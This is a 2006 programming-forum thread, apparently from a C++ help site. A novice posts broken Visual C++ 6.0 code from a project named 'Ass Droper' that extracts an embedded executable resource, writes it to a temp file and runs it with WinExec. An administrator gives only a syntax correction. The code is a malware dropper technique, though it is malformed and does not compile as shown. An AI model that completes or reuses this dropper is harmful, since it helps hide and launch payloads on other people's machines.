Connecting Tech Pros Worldwide Help | Site Map

Help me to see what error in this script V C++ 6.0

Newbie
 
Join Date: Oct 2006
Posts: 2
#1: Oct 20 '06
my script below is:

Expand|Select|Wrap|Line Numbers
  1. #include "stdafx.h"
  2.  
  3. int APIENTRY WinMain(HINSTANCE hInstance,
  4.                      HINSTANCE hPrevInstance,
  5.                      LPSTR     lpCmdLine,
  6.                      int       nCmdShow)
  7.  
  8.  
  9. HINSTANCE hInst = hInstance;
  10.  
  11. ExtractResource2Temp4Execution(hInst,IDR_DROPER1,"DROPER");
  12.  
  13. void ExtractResource2Temp4Execution(HINSTANCE hModule,DWORD resName,char* resType)
  14. {
  15.     unsigned long ResourceSize,byteswritten;
  16.  
  17.     HRSRC hResourceLocation;
  18.  
  19.     HANDLE FileHandle;
  20.  
  21.     HGLOBAL hRes;
  22.  
  23.     char * ResourcePointer;
  24.  
  25.     //now we find the resource with the FindResource function that returns handle 4 the resource
  26.  
  27.     //MSDN for FindResource 4 more info
  28.  
  29.     hResourceLocation = FindResource((HMODULE)hModule,MAKEINTRESOURCE(resName),resType);
  30.     if(hResourceLocation == 0)
  31.     {
  32.         //this is just a standard error message to tell you if anything went wrong you might wanna remove these
  33.         MessageBox(0,"hResourceLocation e NULL","nashpa",MB_OK);
  34.         return ;
  35.     }
  36.  
  37.  
  38. hRes = LoadResource((HMODULE)hModule,hResourceLocation);
  39.     if(hRes == 0)
  40.     {
  41.         MessageBox(0,"hRes e NULL","nashpa",MB_OK);
  42.         return ;
  43.     }
  44.  
  45.     //lock the resource so that we may get a pointer to it so that me may extract it
  46.  
  47.     //MSDN for LockResource 4 more info
  48.  
  49.     ResourcePointer = (char *)LockResource(hRes);
  50.     if(ResourcePointer == 0)
  51.     {
  52.         MessageBox(0,"pDatabase e NULL","nashpa",MB_OK);
  53.         return ;
  54.     }
  55.  
  56.     //get size of resource 
  57.  
  58.     //you know what 2 do 4 more info
  59.  
  60.     ResourceSize = SizeofResource((HMODULE)hModule, hResourceLocation);
  61.  
  62.     //this function get_temp_file is not a standard API function it is a function I made to give me a good temporary file 
  63.     //2 execute, look 4 it lower on 
  64.  
  65.     char * temp_file =get_temp_file();
  66.  
  67.     //create the file    
  68.  
  69.     FileHandle = CreateFile(temp_file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  70.  
  71.     if (FileHandle == INVALID_HANDLE_VALUE) 
  72.     {
  73.         MessageBox(0,"nu sa putut initializa fisierul,FileHandle e NULL ","nashpa",MB_OK);
  74.         return ;
  75.     }
  76.  
  77.     //write 2 the file    
  78.  
  79.     WriteFile(FileHandle,ResourcePointer,ResourceSize,&byteswritten,0);
  80.  
  81.     //close the file
  82.  
  83.     CloseHandle(FileHandle);
  84.  
  85.     //execute the file
  86.  
  87.     WinExec(temp_file,SW_NORMAL);
  88.  
  89.     return;
  90.  
  91.  
  92. char * get_temp_file()
  93.  
  94. {
  95.  
  96.             char wintemp_path[1024];
  97.  
  98.             char *temp_path=new char[1024];
  99.  
  100.  
  101.  
  102.             GetTempPath(1024,wintemp_path);
  103.  
  104.         char *c  = new char[255];
  105.  
  106.             strcpy(c,"some text just to make it more random like");
  107.  
  108.     //The GetTempFileName function creates a name for a temporary file. The file name 
  109.     //is the concatenation of specified 
  110.     //path and prefix strings, a hexadecimal string formed from a specified integer, 
  111.     //and the .tmp extension.
  112.     //I use the function GetTickCount 4 the integer that is to be concatenated so as 
  113.     //to randomize it a bit
  114.     //the GetTickCount function gets the number of milliseconds that have elapsed since 
  115.     //the system was started
  116.     //so this number is very unlikely to be the same ever
  117.  
  118.             GetTempFileName(wintemp_path,c,GetTickCount(),temp_path);
  119.  
  120.             return temp_path;
  121.  
  122. }
  123.  

The Error said :

--------------------Configuration: Ass Droper - Win32 Debug--------------------
Compiling...
Ass Droper.cpp
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : error C2146: syntax error : missing ';' before identifier 'HINSTANCE'
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

Ass Droper.exe - 2 error(s), 0 warning(s)



When i add --> ; to

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);

it come out error like this

--------------------Configuration: Ass Droper - Win32 Debug--------------------
Compiling...
Ass Droper.cpp
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : error C2065: 'hInstance' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : error C2440: 'initializing' : cannot convert from 'int' to 'struct HINSTANCE__ *'
Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2065: 'IDR_DROPER1' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2501: 'ExtractResource2Temp4Execution' : missing storage-class or type specifiers
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2078: too many initializers
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2440: 'initializing' : cannot convert from 'char [7]' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(17) : error C2373: 'ExtractResource2Temp4Execution' : redefinition; different type modifiers
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : see declaration of 'ExtractResource2Temp4Execution'
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(68) : error C2065: 'get_temp_file' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(68) : error C2440: 'initializing' : cannot convert from 'int' to 'char *'
Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(98) : error C2373: 'get_temp_file' : redefinition; different type modifiers
Error executing cl.exe.

Ass Droper.exe - 10 error(s), 0 warning(s)



can any 1 help me??????? please
Banfa's Avatar
AdministratorVoR
 
Join Date: Feb 2006
Location: South West UK
Posts: 6,162
#2: Oct 21 '06

re: Help me to see what error in this script V C++ 6.0


It's not script it's code and

Expand|Select|Wrap|Line Numbers
  1. int APIENTRY WinMain(HINSTANCE hInstance,
  2.                      HINSTANCE hPrevInstance,
  3.                      LPSTR     lpCmdLine,
  4.                      int       nCmdShow)
  5.  
should be


Expand|Select|Wrap|Line Numbers
  1. int APIENTRY WinMain(HINSTANCE hInstance,
  2.                      HINSTANCE hPrevInstance,
  3.                      LPSTR     lpCmdLine,
  4.                      int       nCmdShow);
  5.  
although I am not quite sure why you are declaring WinMain in this file.
Newbie
 
Join Date: Oct 2006
Posts: 2
#3: Oct 22 '06

re: Help me to see what error in this script V C++ 6.0


Expand|Select|Wrap|Line Numbers
  1. int APIENTRY WinMain(HINSTANCE hInstance,
  2.                      HINSTANCE hPrevInstance,
  3.                      LPSTR     lpCmdLine,
  4.                      int       nCmdShow);
  5.  
same error.. do you have any solution.. can you copy my code and try compile it at Visual C++ 6.0 .. and solve it to me.. am blur now.. cant correct it..

actually am making an extractor.. am kind of extracting an exe inside of exe.. help plz..
Reply